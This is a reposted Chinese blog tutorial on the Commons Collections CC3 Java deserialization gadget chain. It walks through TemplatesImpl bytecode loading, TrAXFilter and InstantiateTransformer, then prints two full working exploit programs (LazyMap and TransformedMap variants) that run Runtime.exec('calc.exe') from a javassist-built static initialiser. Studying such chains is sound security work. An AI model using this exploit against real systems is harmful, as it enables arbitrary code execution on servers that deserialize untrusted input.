Java安全 CC链3分析

news2024/11/15 12:21:47

Java安全 CC链3分析

  • cc链3介绍
  • 前置知识
    • 类加载
    • 类加载的方法
      • 例1.forName
      • 例2.getSystemClassLoader
      • 总结
    • javassist模块
  • cc链3分析
    • TemplatesImpl类
    • demo2
    • TrAXFilter类
    • InstantiateTransformer类
  • 最终exp
    • 基于LazyMap链
    • 基于TransformedMap链

cc链3介绍

cc链3的后半部分与cc链1相同,都是通过TransformedMap类或LazyMap类触发transform方法,从而触发核心链,与cc1不同的是,cc链3的核心链用到了类在加载初始化时会自动执行静态方法

有关环境配置和CC链3后接的CC链1部分解析可查看以下两篇文章

Java安全 CC链1分析
Java安全 CC链1分析(Lazymap类)

前置知识

类加载

java类加载的机制如下

1709883536887.png

java中的类在使用时只会被加载一次,当第一次使用某个类时,Java虚拟机会查找并加载相应的class文件,并将其转换成可执行的字节码。加载完成后,该类的定义信息将存储在方法区中,供后续使用

类在加载成功初始化时静态代码块会被执行

在同一个类加载器的作用范围内,如果再次加载同一个类,Java虚拟机会直接返回已经加载过的类的定义信息,而不会重新加载和初始化。这也意味着类静态代码块只会执行一次。

cc链3就是通过对初始化时的静态代码植入恶意代码,从而命令执行

类加载的方法

这里是一个demo

我们来探究其中的代码什么情况下会执行

public class demo1 {
    static {
        System.out.println(1);
    }
 
    public demo1(){
        System.out.println(2);
    }
}

例1.forName

我们测试forName方法加载类是否会触发的静态代码

String url = "org.example.cc3.demo1";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2 

例2.getSystemClassLoader

我们测试getSystemClassLoader方法加载类是否会触发的静态代码

String url = "org.example.cc3.demo1";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2); //输出空
test test2 = (test) clazz.newInstance(); //输出1和2

总结

  • forName方法加载类的时候会自动初始化类,从而触发静态代码,输出1
  • loadClass方法只会加载类,不会初始化类,从而不会触发静态代码,故输出空白
  • newInstance方法会实例化类并初始化类,但类在加载时只会被初始化一次,故例1中newInstance方法只会输出构造方法中的2,而例2中会输出静态代码中的1和构造方法中的2

javassist模块

exp里我们使用了javassist模块来创建具有恶意代码的类的字节码,这里简述一下常用的方法,不再过多赘述

exp中关键代码如下

ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
  • ClassPool pool = ClassPool.getDefault(); - 获取默认的类池对象。
  • pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); - 插入一个类路径,这里是插入了 AbstractTranslet 类的类路径。
  • CtClass cc = pool.makeClass("Cat"); - 使用类池创建一个新的类 Cat
  • String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; - 准备一个待插入到类初始化器中的恶意命令,这里是执行 calc.exe(Windows 计算器)。
  • cc.makeClassInitializer().insertBefore(cmd); - 在类初始化器中插入刚才准备的恶意命令。
  • String randomClassName = "EvilCat" + System.nanoTime(); - 创建一个随机的类名。
  • cc.setName(randomClassName); - 将类的名称设置为刚才生成的随机类名。
  • cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); - 设置新建类的父类为 AbstractTranslet
  • cc.writeFile(); - 将生成的类文件写入磁盘。
  • byte[] classBytes = cc.toBytecode(); - 获取生成类的字节码。
  • byte[][] targetByteCodes = new byte[][]{classBytes}; - 将类字节码存储在一个二维数组中

cc链3分析

TemplatesImpl类

这里我们用TemplatesImpl类进行类加载,触发类中的静态方法

TemplatesImpl类中是使用ClassLoader中的loadClass方法加载类的,故不能初始化类,需要配合newInstance方法才可以初始化类,从而触发静态方法

ClassLoader方法 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象

我们先查看下TemplatesImpl类中的defineClass方法该方法属于静态类TransletClassLoader),代码如下

TemplatesImpl类是ClassLoader类的一个子类,重写了defineClass方法和loadClass方法

static final class TransletClassLoader extends ClassLoader { 
    …………
	Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    …………
}

我们再来看一下哪里调用了defineClass方法,右键查看用法,我们找到defineTransletClasses方法调用了该方法,关键代码如下

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
……………………
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]); //调用defineClass
                final Class superClass = _class[i].getSuperclass();

………………
    }

我们看到loader对象是对静态类TransletClassLoader的一个引用,通过一个for循环来加载文件中类的字节码到class[i]数组,关键代码为class[i] = loader.defineClass(_bytecodes[i])

但是 defineTransletClasses方法私有的,我们再右键查看一下哪里调用了defineTransletClasses方法

1709883561272.png

我们来到getTransletInstance方法,关键代码如下

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            ………………
      }

我们看到只要满足_name != null_class == null这两个条件就会执行defineTransletClasses()方法加载类,然后执行newInstance()方法初始化类执行静态代码

但是getTransletInstance方法也是私有的,我们再来看看哪里调用了getTransletInstance方法,右键查看用法,我们来到了newTransformer方法,这个方法是公有的,代码如下

这里我们发现AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();,该行代码是把我们加载的字节码对象实例化为AbstractTranslet类型的对象,故我们需要将构造的字节码对象的父类设置为AbstractTranslet

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    //下行代码调用了getTransletInstance()方法
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

demo2

我们先来看下TemplatesImpl类中各属性的初始值

1709883589022.png

demo中需要满足的条件如下

  1. _bytecodes属性为有静态恶意代码的类字节码
  2. _name属性不为空
  3. _tfactory属性赋值为TransformerFactoryImpl()类
  4. _class属性为空

这里我们就上面的发现写一条中间的链,测试一下

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.*;

public class cc31 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field byField = tc.getDeclaredField("_bytecodes");
        byField.setAccessible(true);
        byField.set(templates,targetByteCodes); //传进去恶意字节码文件
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"a"); //给_name赋值,不为空
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

我们来讲下为什么需要给_tfactory属性赋值,这里我们来到之前的defineTransletClasses类中,发现有该段代码

AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

这里调用了_tfactory.getExternalExtensionsMap()方法,我们看下**_tfactory属性的初始值**,右键转到声明

    private transient TransformerFactoryImpl _tfactory = null;

发现初始值为null,null当然没有getExternalExtensionsMap()方法,这样的话会导致demo运行出错,我们再次右键查看_tfactory属性的用法,查看在哪赋值

1709883627999.png

我们发现_tfactory属性会在当前对象执行readObject方法,也就是反序列化的时候被赋值为TransformerFactoryImpl()类,但是我们这个是中期demo,并不涉及反序列化,故需要手动设**_tfactory属性为TransformerFactoryImpl()类**

我们运行demo成功弹出计算器

1709883646539.png

TrAXFilter类

接下来我们便查看哪里调用了TemplatesImpl类newTransformer方法,我们来到TrAXFilter类,发现其构造方法会调用newTransformer方法

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer(); //这里
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

我们只需在构造方法中传入templates为TemplatesImpl对象即可

InstantiateTransformer类

我们需要把前面的demo2接上cc1的后半段,这就需要用到transform方法了

我们查看下InstantiateTransformer类transform方法

    public Object transform(Object input) {
        try {
             //不是class对象则抛出异常
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            //获取构造器
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            //实例化对象
            return con.newInstance(iArgs);
 
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

发现该transform方法会根据传入的input类型参数去通过反射实例化一个类

我们需要将input参数设置为TrAXFilter类的class对象(通过ChainedTransformer的循环调用transform方法实现)

然后我们再查看下InstantiateTransformer类构造方法,代码如下

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

发现transform方法里的iParamTypes和iArgs参数可控,我们需要将iParamTypes设置为TrAXFilter类构造方法的参数类型,以便正确获得构造器,从而实例化

然后把iArgs参数设置为TemplatesImpl对象,从而在实例化TrAXFilter对象的时候,把TrAXFilter对象的构造方法中_templates属性赋值为TemplatesImpl对象,从而在TrAXFilter对象的构造方法中调用TemplatesImpl对象newTransformer()方法,从而加载静态代码做到恶意代码执行

最终exp

基于LazyMap链

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws Exception {

        //使用Javassit新建一个含有static的类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);
        //实例化新建类
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        //调用get()中的transform方法
        HashMap innermap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

        //设置代理,触发invoke()调用get()方法
        Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

        InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
            outputStream.writeObject(handler2);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

基于TransformedMap链

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws Exception {

        //使用Javassit新建一个含有static的类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);
        //实例化新建类
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        //触发利用链
        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap  = TransformedMap.decorate(map, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(java.lang.annotation.Target.class,transformedMap);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance);
        oos.close();
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1500191.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云服务器怎么使用?3分钟搭建网站教程2024新版

使用阿里云服务器快速搭建网站教程&#xff0c;先为云服务器安装宝塔面板&#xff0c;然后在宝塔面板上新建站点&#xff0c;阿里云服务器网aliyunfuwuqi.com以搭建WordPress网站博客为例&#xff0c;来详细说下从阿里云服务器CPU内存配置选择、Web环境、域名解析到网站上线全流…

【梳理】k8s使用Operator搭建Flink集群

文章目录 架构图安装cert-manager依赖helm 安装operator运行集群实例k8s上的两种模式&#xff1a;Native和Standalone两种CRDemo1&#xff1a;Application 单任务Demo2&#xff1a;Session 多任务创建ingress 总结 架构图 参考&#xff1a;部署验证demo 安装cert-manager依赖 …

C# LINQ基础

LINQ基础 1. 入门2. 运算符流语法2.1 连续使用查询运算符2.2 使用Lambda表达式2.2.1 Lambda表达式及Func的方法签名2.2.2 Lambda表达式和元素类型2.2.3 自然排序2.2.4 其他查询运算符 3 查询表达式4 延迟执行4.1 重复执行4.2 捕获的变量4.3 延迟加载的工作原理4.4 查询语句的执…

ARM-v7 GCC 环境下的大小端转换实现

1.前言 什么是大小端转换&#xff1f;为什么叫大小端转换&#xff1f; Jonathan Swift的《格列佛游记》中记载&#xff0c;有两国因为剥鸡蛋的方式不同&#xff0c;即一国要求将熟鸡蛋的较大的一端&#xff08;大端&#xff0c;big endian&#xff09;敲碎然后剥壳&#xff0c;…

NLP_文本数据分析_3(代码示例)

目标 了解文本数据分析的作用.掌握常用的几种文本数据分析方法. 一、 文件数据分析介绍 文本数据分析的作用: 文本数据分析能够有效帮助我们理解数据语料, 快速检查出语料可能存在的问题, 并指导之后模型训练过程中一些超参数的选择. 常用的几种文本数据分析方法: 标签数量分…

【嵌入式——QT】Model/View

【嵌入式——QT】Model/View 基本原理数据模型视图组件代理Model/View结构的一些概念QFileSystemModelQStringListModelQStandardItemModel自定义代理 基本原理 GUI应用程序的一个很重要的功能是由用户在界面上编辑和修改数据&#xff0c;典型的如数据库应用程序&#xff0c;数…

leetcode刷题(javaScript)——字典哈希表相关场景题总结

在 JavaScript 刷题中&#xff0c;字典&#xff08;Dictionary&#xff09;和哈希表&#xff08;Hash Table&#xff09;通常用来存储键值对&#xff0c;提供快速的查找、插入和删除操作。它们在很多算法题目中都有广泛的应用&#xff0c;特别是在需要快速查找元素或统计元素出…

Unity插件之天气系统UniStorm

首先呢&#xff0c;它是一款强大的动态昼夜天气系统&#xff0c;能够以较快的帧速率创建AAA级动态生成的天气、照明和天空&#xff0c;并且具有300多个可定制的组件&#xff0c;允许用户创建任何可以想象的环境。 第一步&#xff1a;他需要两个物体Camera摄像机、Player播放器…

用于回归的概率模型

机器学习中的回归方法&#xff1a; 机器学习中的概率模型 机器学习&#xff5c;总结了11种非线性回归模型&#xff08;理论代码可视化&#xff09; 高斯过程回归&#xff1a; Gaussian Processes for Machine Learning GPML——Datasets and Code Gaussian Processes 学…

淘宝商品详情数据丨商品搬家丨商品采集丨商城建站

淘宝商品详情数据、商品搬家、商品采集以及商城建站都是电子商务领域的重要环节&#xff0c;它们共同构成了一个完整的在线销售体系。下面我将分别对这几个概念进行详细的解释。 请求示例&#xff0c;API接口接入Anzexi58 一、淘宝商品详情数据 淘宝商品详情数据指的是在淘宝…

react native封装ScrollView,实现(滑到底部)和(滑到顶部+手指继续向下滑)时拉取新数据

里面的tw是在react native中使用tailwind的第三方库 只求读者把样式看个大概&#xff0c;主要还是功能的实现 ScrollView的官方文档如下 https://reactnative.cn/docs/scrollview import tw from twrnc import { View, Text, ScrollView, RefreshControl } from react-native …

LED显示控制芯片SM5166PF:可消除LED显示屏拖影

在数字化时代的浪潮下&#xff0c;LED显示屏作为信息传播的重要媒介&#xff0c;其显示质量和效果日益受到人们的关注。尤其在商业广告、体育赛事、公共信息发布等领域&#xff0c;高清、流畅、稳定的显示效果显得尤为重要。然而&#xff0c;传统的LED显示屏在刷新率和显示效果…

金智维售前总监屈文浩,将出席“ISIG-RPA超级自动化产业发展峰会”

3月16日&#xff0c;第四届「ISIG中国产业智能大会」将在上海中庚聚龙酒店拉开序幕。本届大会由苏州市金融科技协会指导&#xff0c;企智未来科技&#xff08;RPA中国、AIGC开放社区、LowCode低码时代&#xff09;主办。大会旨在聚合每一位产业成员的力量&#xff0c;深入探索R…

在Linux以命令行方式(静默方式/非图形化方式)安装MATLAB(正版)

1.根据教程&#xff0c;下载windows版本matlab&#xff0c;打开图形化界面&#xff0c;选择linux版本的只下载不安装 2.获取安装文件夹 3.获取许可证 4.安装 &#xff08;1&#xff09;跳过引用文章的2.2章节 &#xff08;2&#xff09;本文的安装文件夹代替引用文章的解压IS…

使用Julia语言及R语言进行格拉布斯检验

在日常的计量检测工作中经常会处理各种数据&#xff0c;在处理数据之前会提前使用格拉布斯准则查看数据中是否存在异常值&#xff0c;如果存在异常值的话应该重新进行计量检测&#xff0c;没有异常值则对数据进行下一步操作。判断异常值常用的格拉布斯方法基于数据来自正态分布…

【leetcode热题】环形链表 II

难度&#xff1a; 中等通过率&#xff1a; 30.1%题目链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定一个链表&#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 为了表示给定链表中的环&#xff0c;我们使用整数…

SqlServer 默认值约束示例

创建表&#xff0c;创建时指定 money 字段默认值为0.00&#xff1b; create table t_24 ( account varchar(19) not null, id_card char(18) not null, name varchar(20) not null, money decimal(16,2) default 0.00 not null ); 录入2条记录&#xff0c;money字…

Windows Docker 部署 MySQL

部署 MySQL 打开 Docker Desktop&#xff0c;切换到 Linux 容器。然后在 PowerShell 执行下面命令&#xff0c;即可启动一个 MySQL 服务。这里安装的是 8.3.0 Tag版本&#xff0c;如果需要安装其他或者最新版本&#xff0c;可以到 Docker Hub 进行查找。 docker run -itd --n…

在微信小程序里的ecahrts图表,tooltip中内容有黑色阴影的问题

tooltip并没有设置文字阴影相关配置&#xff0c;但是实际真机测试出来有黑色阴影&#xff08;本地编译器没有阴影&#xff09;&#xff0c; 经过研究发现&#xff0c;需要在tooltip中加上以下配置就OK了 tooltip: {// .....textStyle:{textShadowColor:transparent,//文字块背景…

go|一道算法题引发的思考|slice底层剖析

文章目录 引发思考的一道算法题slicemake初始化切片扩容原理切片截取原理切片复制原理算法题的正解 补充string和[]byte互转string 与[]byte相互转换 引发思考的一道算法题 链接&#xff1a;组合 给定两个整数 n 和 k&#xff0c;返回 1 … n 中所有可能的 k 个数的组合。 大致…